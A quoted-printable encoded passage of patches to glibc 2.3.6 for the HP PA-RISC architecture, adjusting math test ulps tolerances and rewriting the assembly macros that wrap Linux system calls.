2:10.000000000 -0500=0A+++ libc/sysdeps/hppa/fpu/libm-test-ulps	2004-09-2=
9 23:50:16.000000000 -0400=0A@@ -1,6 +1,9 @@=0A # Begin of automatic gene=
ration=0A =0A # atan2=0A+Test "atan2 (-0.00756827042671106339, -.00179273=
5857538728036) =3D=3D -1.80338464113663849327153994380":=0A+float: 6=0A+i=
float: 6=0A Test "atan2 (-0.75, -1.0) =3D=3D -2.4980915447965088516598341=
5456218025":=0A float: 3=0A ifloat: 3=0A@@ -258,9 +261,6 @@=0A ifloat: 1=0A=
 =0A # ctan=0A-Test "Real part of: ctan (-2 - 3 i) =3D=3D 0.3764025641504=
24829275122113032269084e-2 - 1.00323862735360980144635859782192726 i":=0A=
-double: 1=0A-idouble: 1=0A Test "Imaginary part of: ctan (0.75 + 1.25 i)=
 =3D=3D 0.160807785916206426725166058173438663 + 0.9753632850312356461935=
81759755216379 i":=0A double: 1=0A idouble: 1=0A@@ -479,6 +479,11 @@=0A f=
loat: 1=0A ifloat: 1=0A =0A+# lround=0A+Test "lround (1071930.0008) =3D=3D=
 1071930":=0A+double: -214511494=0A+idouble: -214511494=0A+=0A # sincos=0A=
 Test "sincos (M_PI_6l*2.0, &sin_res, &cos_res) puts 0.5 in cos_res":=0A =
double: 1=0A@@ -640,8 +645,8 @@=0A =0A # Maximal error of functions:=0A F=
unction: "atan2":=0A-float: 3=0A-ifloat: 3=0A+float: 6=0A+ifloat: 6=0A =0A=
 Function: "atanh":=0A float: 1=0A@@ -777,10 +782,6 @@=0A float: 1=0A ifl=
oat: 1=0A =0A-Function: Real part of "ctan":=0A-double: 1=0A-idouble: 1=0A=
-=0A Function: Imaginary part of "ctan":=0A double: 1=0A idouble: 1=0A---=
 libc-orig/sysdeps/hppa/sysdep.h	2003-10-15 01:31:42.000000000 -0400=0A++=
+ libc/sysdeps/hppa/sysdep.h	2004-11-01 01:51:58.000000000 -0500=0A@@ -22=
,9 +22,8 @@=0A #include <sys/syscall.h>=0A #include "config.h"=0A =0A-#if=
ndef ASM_LINE_SEP=0A-#define ASM_LINE_SEP ;=0A-#endif=0A+#undef ASM_LINE_=
SEP=0A+#define ASM_LINE_SEP ! =0A =0A #ifdef	__ASSEMBLER__=0A =0A@@ -51,1=
3 +50,9 @@=0A #define END(name)							      \=0A   .PROCEND=0A =0A-=0A-/*=
 If compiled for profiling, call `mcount' at the start of each function. =
 */=0A+/* GCC does everything for us. */=0A #ifdef	PROF=0A-/* The mcount =
code relies on a normal frame pointer being on the stack=0A-   to locate =
our caller, so push one just for its benefit.  */=0A-#define CALL_MCOUNT =
\=0A-  XXX	ASM_LINE_SEP=0A+#define CALL_MCOUNT =0A #else=0A #define CALL_=
MCOUNT		/* Do nothing.  */=0A #endif=0A=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=0A--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/sysdep.h.O=
rig	2006-03-15 16:07:33.000000000 +0100=0A+++ glibc-2.3.6/sysdeps/unix/sy=
sv/linux/hppa/sysdep.h	2006-03-15 16:08:17.000000000 +0100=0A@@ -22,28 +2=
2,34 @@=0A #include <asm/unistd.h>=0A #include <sysdeps/generic/sysdep.h>=
=0A #include <sys/syscall.h>=0A-#include "config.h"=0A =0A-#ifndef ASM_LI=
NE_SEP=0A-# define ASM_LINE_SEP ;=0A-#endif=0A+#undef ASM_LINE_SEP=0A+#de=
fine ASM_LINE_SEP ! =0A =0A #undef SYS_ify=0A #define SYS_ify(syscall_nam=
e)	(__NR_##syscall_name)=0A =0A+/* WARNING: TREG must be a callee saves r=
egister so =0A+   that it doesn't have to be restored after a call =0A+  =
 to another function */=0A #ifdef PIC=0A-/* WARNING: CANNOT BE USED IN A =
NOP! */=0A-# define STW_PIC stw %r19, -32(%sr0, %sp) ASM_LINE_SEP=0A-# de=
fine LDW_PIC ldw -32(%sr0, %sp), %r19 ASM_LINE_SEP=0A-# define STW_ASM_PI=
C	"       copy %%r19, %%r4\n"=0A-# define LDW_ASM_PIC	"       copy %%r4, =
%%r19\n"=0A-# define USING_GR4	"%r4",=0A+# define TREG %r3=0A+# define SA=
VE_PIC(SREG) copy		%r19, SREG	ASM_LINE_SEP=0A+# define LOAD_PIC(LREG) cop=
y		LREG, %r19	ASM_LINE_SEP=0A+/* Inline assembly defines */=0A+# define T=
REG_ASM "%r4" /* Cant clobber r3, it holds framemarker */=0A+# define SAV=
E_ASM_PIC	"       copy		%%r19, %" TREG_ASM "\n"=0A+# define LOAD_ASM_PIC	=
"       copy		%" TREG_ASM ", %%r19\n"=0A+# define USING_TREG	TREG_ASM,=0A=
 #else=0A-# define STW_PIC ASM_LINE_SEP=0A-# define LDW_PIC ASM_LINE_SEP=0A=
-# define STW_ASM_PIC	" \n"=0A-# define LDW_ASM_PIC	" \n"=0A-# define USI=
NG_GR4=0A+# define TREG %r3=0A+# define SAVE_PIC(SREG) nop ASM_LINE_SEP=0A=
+# define LOAD_PIC(LREG) nop ASM_LINE_SEP=0A+/* Inline assembly defines *=
/=0A+# define TREG_ASM =0A+# define SAVE_ASM_PIC	"nop \n"=0A+# define LOA=
D_ASM_PIC	"nop \n"=0A+# define USING_TREG=0A #endif=0A =0A #ifdef __ASSEM=
BLER__=0A@@ -76,31 +82,73 @@=0A =0A /* We don't want the label for the er=
ror handle to be global when we define=0A    it here.  */=0A-#ifdef PIC=0A=
+/*#ifdef PIC=0A # define SYSCALL_ERROR_LABEL 0f=0A #else=0A # define SYS=
CALL_ERROR_LABEL syscall_error=0A-#endif=0A+#endif*/=0A+=0A+/* Argument m=
anipulation from the stack for preparing to=0A+   make a syscall */=0A+=0A=
+#define DOARGS_0 /* nothing */=0A+#define DOARGS_1 /* nothing */=0A+#def=
ine DOARGS_2 /* nothing */=0A+#define DOARGS_3 /* nothing */=0A+#define D=
OARGS_4 /* nothing */=0A+#define DOARGS_5 ldw		-52(%sp), %r22		ASM_LINE_S=
EP=0A+#define DOARGS_6 DOARGS_5 ldw		-56(%sp), %r21	ASM_LINE_SEP=0A+=0A+#=
define UNDOARGS_0 /* nothing */=0A+#define UNDOARGS_1 /* nothing */=0A+#d=
efine UNDOARGS_2 /* nothing */=0A+#define UNDOARGS_3 /* nothing */=0A+#de=
fine UNDOARGS_4 /* nothing */=0A+#define UNDOARGS_5 /* nothing */=0A+#def=
ine UNDOARGS_6 /* nothing */=0A =0A /* Define an entry point visible from=
 C.=0A =0A    There is currently a bug in gdb which prevents us from spec=
ifying=0A    incomplete stabs information.  Fake some entries here which =
specify=0A    the current source file.  */=0A-#define	ENTRY(name)						\=0A=
-	.text					ASM_LINE_SEP	\=0A-	.export C_SYMBOL_NAME(name)		ASM_LINE_SEP	=
\=0A-	.type	C_SYMBOL_NAME(name),@function	ASM_LINE_SEP	\=0A-	C_LABEL(name=
)				ASM_LINE_SEP	\=0A-	CALL_MCOUNT				ASM_LINE_SEP=0A+#define	ENTRY(name=
)							\=0A+	.text						ASM_LINE_SEP	\=0A+	.align ALIGNARG(4)				ASM_LIN=
E_SEP	\=0A+	.export C_SYMBOL_NAME(name)			ASM_LINE_SEP	\=0A+	.type	C_SYMB=
OL_NAME(name),@function		ASM_LINE_SEP	\=0A+	C_LABEL(name)					ASM_LINE_SE=
P	\=0A+	.PROC						ASM_LINE_SEP	\=0A+	.CALLINFO FRAME=3D64,CALLS,SAVE_RP,=
ENTRY_GR=3D3	ASM_LINE_SEP	\=0A+	.ENTRY						ASM_LINE_SEP	\=0A+	/* SAVE_RP=
 says we do */			ASM_LINE_SEP	\=0A+	stw		%rp, -20(%sr0, %sp)		ASM_LINE_SE=
P	\=0A+	/*FIXME: Call mcount? (carefull with stack!) */=0A+=0A+/* Some sy=
scall wrappers do not call other functions, and=0A+   hence are classifie=
d as leaf, so add NO_CALLS for gdb */=0A+#define	ENTRY_LEAF(name)						\=0A=
+	.text						ASM_LINE_SEP	\=0A+	.align	ALIGNARG(4)				ASM_LINE_SEP	\=0A+	=
.export C_SYMBOL_NAME(name)			ASM_LINE_SEP	\=0A+	.type	C_SYMBOL_NAME(name=
),@function		ASM_LINE_SEP	\=0A+	C_LABEL(name)					ASM_LINE_SEP	\=0A+	.PRO=
C						ASM_LINE_SEP	\=0A+	.CALLINFO FRAME=3D64,NO_CALLS,SAVE_RP,ENTRY_GR=3D=
3	ASM_LINE_SEP	\=0A+	.ENTRY						ASM_LINE_SEP	\=0A+	/* SAVE_RP says we do=
 */			ASM_LINE_SEP	\=0A+	stw		%rp, -20(%sr0, %sp)		ASM_LINE_SEP	\=0A+	/*F=
IXME: Call mcount? (carefull with stack!) */=0A =0A #undef	END=0A #define=
 END(name)							\=0A-1:							ASM_LINE_SEP	\=0A-.size	C_SYMBOL_NAME(name=
),1b-C_SYMBOL_NAME(name)	ASM_LINE_SEP=0A-=0A-/* If compiled for profiling=
, call `mcount' at the start of each function.  */=0A-/* No, don't bother=
.  gcc will put the call in for us.  */=0A+ 	.EXIT						ASM_LINE_SEP	\=0A=
+	.PROCEND					ASM_LINE_SEP	\=0A+.size	C_SYMBOL_NAME(name), .-C_SYMBOL_NA=
ME(name)	ASM_LINE_SEP=0A+=0A+/* If compiled for profiling, call `mcount' =
at the start =0A+   of each function. No, don't bother.  gcc will put the=
 =0A+   call in for us.  */=0A #define CALL_MCOUNT		/* Do nothing.  */=0A=
 =0A /* syscall wrappers consist of=0A@@ -117,59 +165,66 @@=0A 	nop=0A */=
=0A =0A-#define	PSEUDO(name, syscall_name, args)			\=0A-  ENTRY (name)			=
				\=0A-  DO_CALL(syscall_name, args)			ASM_LINE_SEP	\=0A-  nop						ASM=
_LINE_SEP=0A+#define	PSEUDO(name, syscall_name, args)				\=0A+	ENTRY (nam=
e)					ASM_LINE_SEP	\=0A+	/* If necc. load args from stack */		ASM_LINE_S=
EP	\=0A+	DOARGS_##args					ASM_LINE_SEP	\=0A+	DO_CALL (syscall_name, args=
)			ASM_LINE_SEP	\=0A+	UNDOARGS_##args					ASM_LINE_SEP	\=0A+	nop						AS=
M_LINE_SEP=0A =0A #define ret \=0A 	/* Return value set by ERRNO code */	=
ASM_LINE_SEP	\=0A-	bv 0(2)					ASM_LINE_SEP	\=0A-	nop					ASM_LINE_SEP=0A=
+	bv,n		0(2)				ASM_LINE_SEP=0A =0A #undef	PSEUDO_END=0A-#define	PSEUDO_E=
ND(name)					\=0A-  END (name)=0A+#define	PSEUDO_END(name)						\=0A+	END=
 (name)=0A =0A /* We don't set the errno on the return from the syscall *=
/=0A-#define	PSEUDO_NOERRNO(name, syscall_name, args)		\=0A-  ENTRY (name=
)							\=0A-  DO_CALL_NOERRNO(syscall_name, args)		ASM_LINE_SEP	\=0A-  n=
op						ASM_LINE_SEP=0A+#define	PSEUDO_NOERRNO(name, syscall_name, args)	=
		\=0A+	ENTRY_LEAF (name)				ASM_LINE_SEP	\=0A+	DOARGS_##args					ASM_LIN=
E_SEP	\=0A+	DO_CALL_NOERRNO (syscall_name, args)		ASM_LINE_SEP	\=0A+	UNDO=
ARGS_##args					ASM_LINE_SEP	\=0A+	nop						ASM_LINE_SEP=0A =0A-#define r=
et_NOERRNO ret=0A+#define ret_NOERRNO	ret=0A =0A #undef	PSEUDO_END_NOERRN=
O=0A-#define	PSEUDO_END_NOERRNO(name)				\=0A-  END (name)=0A+#define	PSE=
UDO_END_NOERRNO(name)					\=0A+	END (name)=0A =0A /* This has to return t=
he error value */=0A #undef  PSEUDO_ERRVAL=0A-#define PSEUDO_ERRVAL(name,=
 syscall_name, args)			\=0A-	ENTRY(name)						\=0A-	DO_CALL_ERRVAL(syscal=
l_name, args)	ASM_LINE_SEP	\=0A-	nop					ASM_LINE_SEP=0A+#define PSEUDO_E=
RRVAL(name, syscall_name, args)				\=0A+	ENTRY_LEAF (name)				ASM_LINE_SE=
P	\=0A+	DOARGS_##args					ASM_LINE_SEP	\=0A+	DO_CALL_ERRVAL (syscall_name=
, args)		ASM_LINE_SEP	\=0A+	UNDOARGS_##args					ASM_LINE_SEP	\=0A+	nop			=
			ASM_LINE_SEP=0A =0A #define ret_ERRVAL ret=0A =0A #undef	PSEUDO_END_ER=
RVAL=0A-#define PSEUDO_END_ERRVAL(name)					\=0A-	END(name)=0A+#define PS=
EUDO_END_ERRVAL(name)						\=0A+	END (name)=0A =0A #undef JUMPTARGET=0A #=
define JUMPTARGET(name)	name=0A #define SYSCALL_PIC_SETUP	/* Nothing.  */=
=0A =0A =0A-/* All the syscall assembly macros rely on finding the appror=
iate=0A+/* FIXME: This comment is not true.=0A+ * All the syscall assembl=
y macros rely on finding the approriate=0A    SYSCALL_ERROR_LABEL or rath=
er HANDLER. */=0A =0A /* int * __errno_location(void) so you have to stor=
e your value=0A    into the return address! */=0A-#define DEFAULT_SYSCALL=
_ERROR_HANDLER 			\=0A-	.import __errno_location,code	ASM_LINE_SEP	\=0A-	=
/* branch to errno handler */	ASM_LINE_SEP	\=0A-	bl __errno_location,%rp	=
	ASM_LINE_SEP=0A+#define DEFAULT_SYSCALL_ERROR_HANDLER 					\=0A+	.import=
 __errno_location,code			ASM_LINE_SEP	\=0A+	/* branch to errno handler */=
			ASM_LINE_SEP	\=0A+	bl		__errno_location, %rp		ASM_LINE_SEP=0A =0A /* H=
ere are the myriad of configuration options that the above can=0A    work=
 for... what we've done is provide the framework for future=0A@@ -193,7 +=
248,6 @@=0A # endif=0A #endif=0A =0A-=0A /* Linux takes system call argum=
ents in registers:=0A 	syscall number	gr20=0A 	arg 1		gr26=0A@@ -209,8 +2=
63,8 @@=0A 	arg 2		gr25=0A 	arg 3		gr24=0A 	arg 4		gr23=0A-	arg 5		-52(gr=
30)=0A-	arg 6		-56(gr30)=0A+	arg 5		-52(sp)=0A+	arg 6		-56(sp)=0A =0A    =
gr22 and gr21 are caller-saves, so we can just load the arguments=0A    t=
here and generally be happy. */=0A@@ -219,81 +273,63 @@=0A  * is intended=
 to mimic the if (__sys_res...)=0A  * code inside INLINE_SYSCALL=0A  */=0A=
+#define NO_ERROR -0x1000=0A =0A #undef	DO_CALL=0A-#define DO_CALL(syscal=
l_name, args)				\=0A-	DOARGS_##args				ASM_LINE_SEP	\=0A-	STW_PIC					AS=
M_LINE_SEP	\=0A-	/* Do syscall, delay loads # */		ASM_LINE_SEP	\=0A-	ble =
 0x100(%sr2,%r0)			ASM_LINE_SEP	\=0A-	ldi SYS_ify (syscall_name), %r20	AS=
M_LINE_SEP	\=0A-	ldi -0x1000,%r1				ASM_LINE_SEP	\=0A-	cmpb,>>=3D,n %r1,%=
ret0,0f			ASM_LINE_SEP	\=0A-	/* save rp or we get lost */		ASM_LINE_SEP	\=
=0A-	stw %rp, -20(%sr0,%sp)			ASM_LINE_SEP	\=0A-	/* Restore r19 from fram=
e */		ASM_LINE_SEP	\=0A-	LDW_PIC					ASM_LINE_SEP	\=0A-	stw %ret0, -24(%s=
r0,%sp)		ASM_LINE_SEP	\=0A-	SYSCALL_ERROR_HANDLER			ASM_LINE_SEP	\=0A-	/*=
 create frame */			ASM_LINE_SEP	\=0A-	ldo 64(%sp), %sp			ASM_LINE_SEP	\=0A=
-	ldo -64(%sp), %sp			ASM_LINE_SEP	\=0A-	/* OPTIMIZE: Don't reload r19 */=
	ASM_LINE_SEP	\=0A-	/* do a -1*syscall_ret0 */		ASM_LINE_SEP	\=0A-	ldw -2=
4(%sr0,%sp), %r26			ASM_LINE_SEP	\=0A-	sub %r0, %r26, %r26			ASM_LINE_SEP=
	\=0A-	/* Store into errno location */		ASM_LINE_SEP	\=0A-	stw %r26, 0(%s=
r0,%ret0)			ASM_LINE_SEP	\=0A-	/* return -1 as error */		ASM_LINE_SEP	\=0A=
-	ldo -1(%r0), %ret0			ASM_LINE_SEP	\=0A-	ldw -20(%sr0,%sp), %rp			ASM_LI=
NE_SEP	\=0A-0:						ASM_LINE_SEP	\=0A-	UNDOARGS_##args				ASM_LINE_SEP=0A=
+#define DO_CALL(syscall_name, args)					\=0A+  	copy		TREG, %r1			ASM_LI=
NE_SEP	\=0A+	copy		%sp, TREG			ASM_LINE_SEP	\=0A+	/* Create a frame */			=
	ASM_LINE_SEP	\=0A+	stwm		%r1, 64(%sp)			ASM_LINE_SEP	\=0A+	stw		%rp, -20=
(%sp)			ASM_LINE_SEP	\=0A+	stw		TREG, -4(%sp)			ASM_LINE_SEP	\=0A+	/* Sav=
e r19 */					ASM_LINE_SEP	\=0A+	SAVE_PIC (TREG)					ASM_LINE_SEP	\=0A+	/*=
 Do syscall, delay loads # */			ASM_LINE_SEP	\=0A+	ble		0x100(%sr2, %r0)	=
	ASM_LINE_SEP	\=0A+	ldi		SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\=0A+	=
ldi		NO_ERROR, %r1			ASM_LINE_SEP	\=0A+	cmpb,>>=3D,n	%r1, %ret0,L(pre_end=
)		ASM_LINE_SEP	\=0A+	/* Restore r19 from TREG */			ASM_LINE_SEP	\=0A+	LO=
AD_PIC(TREG) /* delay */			ASM_LINE_SEP	\=0A+	SYSCALL_ERROR_HANDLER				AS=
M_LINE_SEP	\=0A+	/* Use TREG for temp storage */			ASM_LINE_SEP	\=0A+	cop=
y		%ret0, TREG /* delay */		ASM_LINE_SEP	\=0A+	/* OPTIMIZE: Don't reload =
r19 */		ASM_LINE_SEP	\=0A+	/* do a -1*syscall_ret0 */			ASM_LINE_SEP	\=0A=
+	sub		%r0, TREG, TREG			ASM_LINE_SEP	\=0A+	/* Store into errno location =
*/			ASM_LINE_SEP	\=0A+	stw		TREG, 0(%sr0, %ret0)		ASM_LINE_SEP	\=0A+	/* =
return -1 as error */			ASM_LINE_SEP	\=0A+	ldo		-1(%r0), %ret0			ASM_LINE=
_SEP	\=0A+L(pre_end):						ASM_LINE_SEP	\=0A+	/* Restore return pointer *=
/			ASM_LINE_SEP	\=0A+	ldw		-84(%sp), %rp			ASM_LINE_SEP	\=0A+	/* Restore=
 our frame, restoring TREG */		ASM_LINE_SEP	\=0A+	ldwm		-64(%sp), TREG			=
ASM_LINE_SEP=0A =0A /* We do nothing with the return, except hand it back=
 to someone else */=0A #undef  DO_CALL_NOERRNO=0A-#define DO_CALL_NOERRNO=
(syscall_name, args)			\=0A-	DOARGS_##args                               =
            \=0A-	/* No need to store r19 */		ASM_LINE_SEP	\=0A-	ble  0x1=
00(%sr2,%r0)                    ASM_LINE_SEP    \=0A-	ldi SYS_ify (syscal=
l_name), %r20        ASM_LINE_SEP    \=0A-	/* Caller will restore r19 */	=
	ASM_LINE_SEP	\=0A-	UNDOARGS_##args=0A+#define DO_CALL_NOERRNO(syscall_na=
me, args)				\=0A+	/* No need to store r19 */			ASM_LINE_SEP	\=0A+	ble		0=
x100(%sr2, %r0)		ASM_LINE_SEP    \=0A+	ldi		SYS_ify (syscall_name), %r20	=
ASM_LINE_SEP    \=0A+	/* Caller will restore r19 */			ASM_LINE_SEP=0A =0A=
 /* Here, we return the ERRVAL in assembly, note we don't call the=0A    =
error handler function, but we do 'negate' the return _IF_=0A    it's an =
error. Not sure if this is the right semantic. */=0A =0A #undef	DO_CALL_E=
RRVAL=0A-#define DO_CALL_ERRVAL(syscall_name, args)			\=0A-	DOARGS_##args=
				ASM_LINE_SEP	\=0A-	/* No need to store r19 */		ASM_LINE_SEP	\=0A-	ble=
  0x100(%sr2,%r0)			ASM_LINE_SEP	\=0A-	ldi SYS_ify (syscall_name), %r20	A=
SM_LINE_SEP	\=0A-	/* Caller will restore r19 */		ASM_LINE_SEP	\=0A-	ldi -=
0x1000,%r1				ASM_LINE_SEP	\=0A-	cmpb,>>=3D,n %r1,%ret0,0f			ASM_LINE_SEP=
	\=0A-	sub %r0, %ret0, %ret0			ASM_LINE_SEP	\=0A-0:						ASM_LINE_SEP	\=0A=
-	UNDOARGS_##args				ASM_LINE_SEP=0A-=0A-#define DOARGS_0 /* nothing */=0A=
-#define DOARGS_1 /* nothing */=0A-#define DOARGS_2 /* nothing */=0A-#def=
ine DOARGS_3 /* nothing */=0A-#define DOARGS_4 /* nothing */=0A-#define D=
OARGS_5 ldw -52(%r30), %r22		ASM_LINE_SEP=0A-#define DOARGS_6 ldw -52(%r3=
0), %r22		ASM_LINE_SEP	\=0A-		 ldw -56(%r30), %r21		ASM_LINE_SEP=0A-=0A-=0A=
-#define UNDOARGS_0 /* nothing */=0A-#define UNDOARGS_1 /* nothing */=0A-=
#define UNDOARGS_2 /* nothing */=0A-#define UNDOARGS_3 /* nothing */=0A-#=
define UNDOARGS_4 /* nothing */=0A-#define UNDOARGS_5 /* nothing */=0A-#d=
efine UNDOARGS_6 /* nothing */=0A+#define DO_CALL_ERRVAL(syscall_name, ar=
gs)				\=0A+	/* No need to store r19 */			ASM_LINE_SEP	\=0A+	ble		0x100(%=
sr2, %r0)		ASM_LINE_SEP	\=0A+	ldi		SYS_ify (syscall_name), %r20	ASM_LINE_=
SEP	\=0A+	/* Caller will restore r19 */			ASM_LINE_SEP	\=0A+	ldi		NO_ERRO=
R, %r1			ASM_LINE_SEP	\=0A+	cmpb,>>=3D,n	%r1, %ret0, 0f			ASM_LINE_SEP	\=0A=
+	sub		%r0, %ret0, %ret0		ASM_LINE_SEP	\=0A+0:							ASM_LINE_SEP=0A =0A =
#else=0A =0A@@ -305,27 +341,28 @@=0A    registers r20 -> r26 will conflic=
t with the list so they=0A    are treated specially. Although r19 is clob=
bered by the syscall=0A    we cannot say this because it would violate AB=
I, thus we say=0A-   r4 is clobbered and use that register to save/restor=
e r19=0A+   TREG is clobbered and use that register to save/restore r19=0A=
    across the syscall. */=0A =0A-#define CALL_CLOB_REGS	"%r1", "%r2", US=
ING_GR4 \=0A+#define CALL_CLOB_REGS	"%r1", "%r2", USING_TREG \=0A 		 	"%r=
20", "%r29", "%r31"=0A =0A #undef INLINE_SYSCALL=0A-#define INLINE_SYSCAL=
L(name, nr, args...)	({			\=0A+#define INLINE_SYSCALL(name, nr, args...)	=
			\=0A+({									\=0A 	long __sys_res;							\=0A 	{								\=0A 		regi=
ster unsigned long __res asm("r28");		\=0A 		LOAD_ARGS_##nr(args)					\=0A=
-		/* FIXME: HACK stw/ldw r19 around syscall */		\=0A+		/* FIXME: HACK sa=
ve/load r19 around syscall */		\=0A 		asm volatile(						\=0A-			STW_ASM_=
PIC					\=0A-			"	ble  0x100(%%sr2, %%r0)\n"		\=0A-			"	ldi %1, %%r20\n"	=
		\=0A-			LDW_ASM_PIC					\=0A+			SAVE_ASM_PIC					\=0A+			"	ble		0x100(%=
%sr2, %%r0)\n"	\=0A+			"	ldi		%1, %%r20\n"		\=0A+			LOAD_ASM_PIC					\=0A=
 			: "=3Dr" (__res)					\=0A 			: "i" (SYS_ify(name)) ASM_ARGS_##nr		\=0A=
-			: CALL_CLOB_REGS CLOB_ARGS_##nr			\=0A+			: "memory", CALL_CLOB_REGS =
CLOB_ARGS_##nr	\=0A 		);							\=0A 		__sys_res =3D (long)__res;				\=0A =
	}								\=0A@@ -339,13 +376,13 @@=0A /* INTERNAL_SYSCALL_DECL - Allows =
us to setup some function static=0A    value to use within the context of=
 the syscall=0A    INTERNAL_SYSCALL_ERROR_P - Returns 0 if it wasn't an e=
rror, 1 otherwise=0A-   You are allowed to use the syscall result (val) a=
nd the DECL error variable=0A-   to determine what went wrong.=0A+   You =
are allowed to use the syscall result (val) and the DECL error =0A+   var=
iable to determine what went wrong.=0A    INTERLAL_SYSCALL_ERRNO - Munges=
 the val/err pair into the error number.=0A    In our case we just flip t=
he sign. */=0A =0A #undef INTERNAL_SYSCALL_DECL=0A-#define INTERNAL_SYSCA=
LL_DECL(err) do { } while (0)=0A+#define INTERNAL_SYSCALL_DECL(err) =0A =0A=
 /* Equivalent to  (val < 0)&&(val > -4095) which is what we want */=0A #=
undef INTERNAL_SYSCALL_ERROR_P=0A@@ -357,45 +394,69 @@=0A =0A /* Similar =
to INLINE_SYSCALL but we don't set errno */=0A #undef INTERNAL_SYSCALL=0A=
-#define INTERNAL_SYSCALL(name, err, nr, args...) 		\=0A-({								\=0A-	=
long __sys_res;						\=0A-	{							\=0A-		register unsigned long __res as=
m("r28");	\=0A-		LOAD_ARGS_##nr(args)				\=0A-		/* FIXME: HACK stw/ldw r1=
9 around syscall */	\=0A-		asm volatile(					\=0A-			STW_ASM_PIC				\=0A-=
			"	ble  0x100(%%sr2, %%r0)\n"	\=0A-			"	ldi %1, %%r20\n"		\=0A-			LDW_A=
SM_PIC				\=0A-			: "=3Dr" (__res)				\=0A-			: "i" (SYS_ify(name)) ASM_A=
RGS_##nr	\=0A-			: CALL_CLOB_REGS CLOB_ARGS_##nr		\=0A-		);						\=0A-		_=
_sys_res =3D (long)__res;			\=0A-	}							\=0A-	__sys_res;						\=0A+#def=
ine INTERNAL_SYSCALL(name, err, nr, args...) 			\=0A+({									\=0A+	lon=
g __sys_res;							\=0A+	{								\=0A+		register unsigned long __res asm=
("r28");		\=0A+		LOAD_ARGS_##nr(args)					\=0A+		/* FIXME: HACK save/load=
 r19 around syscall */		\=0A+		asm volatile(						\=0A+			SAVE_ASM_PIC			=
		\=0A+			"	ble	0x100(%%sr2, %%r0)\n"		\=0A+			"	ldi	%1, %%r20\n"			\=0A+=
			LOAD_ASM_PIC					\=0A+			: "=3Dr" (__res)					\=0A+			: "i" (SYS_ify(n=
ame)) ASM_ARGS_##nr		\=0A+			: "memory", CALL_CLOB_REGS CLOB_ARGS_##nr	\=0A=
+		);							\=0A+		__sys_res =3D (long)__res;				\=0A+	}								\=0A+	__s=
ys_res;							\=0A+ })=0A+=0A+=0A+/* The _NCS variant allows non-constant=
 syscall numbers.  */=0A+#undef INTERNAL_SYSCALL_NCS=0A+#define INTERNAL_=
SYSCALL_NCS(name, err, nr, args...) 			\=0A+({									\=0A+	long __sys_r=
es;							\=0A+	{								\=0A+		register unsigned long __res asm("r28");	=
	\=0A+		LOAD_ARGS_##nr(args)					\=0A+		/* FIXME: HACK save/load r19 arou=
nd syscall */		\=0A+		asm volatile(						\=0A+			SAVE_ASM_PIC					\=0A+		=
	"	ble	0x100(%%sr2, %%r0)\n"		\=0A+			"	copy	%1, %%r20\n"			\=0A+			LOAD_=
ASM_PIC					\=0A+			: "=3Dr" (__res)					\=0A+			: "r" (name) ASM_ARGS_##=
nr			\=0A+			: "memory", CALL_CLOB_REGS CLOB_ARGS_##nr	\=0A+		);							\=0A=
+		__sys_res =3D (long)__res;				\=0A+	}								\=0A+	__sys_res;							\=0A=
  })=0A =0A #define LOAD_ARGS_0()=0A-#define LOAD_ARGS_1(r26)					\=0A-	r=
egister unsigned long __r26 __asm__("r26") =3D (unsigned long)(r26);   \=0A=
+#define LOAD_ARGS_1(r26)						\=0A+	register unsigned long __r26 __asm__=
("r26") =3D (unsigned long)(r26); \=0A 	LOAD_ARGS_0()=0A-#define LOAD_ARG=
S_2(r26,r25)					\=0A-	register unsigned long __r25 __asm__("r25") =3D (u=
nsigned long)(r25);   \=0A+#define LOAD_ARGS_2(r26,r25)						\=0A+	regist=
er unsigned long __r25 __asm__("r25") =3D (unsigned long)(r25); \=0A 	LOA=
D_ARGS_1(r26)=0A-#define LOAD_ARGS_3(r26,r25,r24)				\=0A-	register unsig=
ned long __r24 __asm__("r24") =3D (unsigned long)(r24);   \=0A+#define LO=
AD_ARGS_3(r26,r25,r24)					\=0A+	register unsigned long __r24 __asm__("r2=
4") =3D (unsigned long)(r24); \=0A 	LOAD_ARGS_2(r26,r25)=0A-#define LOAD_=
ARGS_4(r26,r25,r24,r23)				\=0A-	register unsigned long __r23 __asm__("r2=
3") =3D (unsigned long)(r23);   \=0A+#define LOAD_ARGS_4(r26,r25,r24,r23)=
					\=0A+	register unsigned long __r23 __asm__("r23") =3D (unsigned long=
)(r23); \=0A 	LOAD_ARGS_3(r26,r25,r24)=0A-#define LOAD_ARGS_5(r26,r25,r24=
,r23,r22)			\=0A-	register unsigned long __r22 __asm__("r22") =3D (unsign=
ed long)(r22);   \=0A+#define LOAD_ARGS_5(r26,r25,r24,r23,r22)				\=0A+	r=
egister unsigned long __r22 __asm__("r22") =3D (unsigned long)(r22); \=0A=
 	LOAD_ARGS_4(r26,r25,r24,r23)=0A-#define LOAD_ARGS_6(r26,r25,r24,r23,r22=
,r21)			\=0A-	register unsigned long __r21 __asm__("r21") =3D (unsigned l=
ong)(r21);   \=0A+#define LOAD_ARGS_6(r26,r25,r24,r23,r22,r21)				 \=0A+	=
register unsigned long __r21 __asm__("r21") =3D (unsigned long)(r21); \=0A=
 	LOAD_ARGS_5(r26,r25,r24,r23,r22)=0A =0A /* Even with zero args we use r=
20 for the syscall number */=0A=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=0A--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/sysdep.c.Orig	20=
06-03-15 09:58:13.000000000 +0100=0A+++ glibc-2.3.6/sysdeps/unix/sysv/lin=
ux/hppa/sysdep.c	2006-03-15 11:00:04.000000000 +0100=0A@@ -16,12 +16,12 @=
@=0A    Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA=
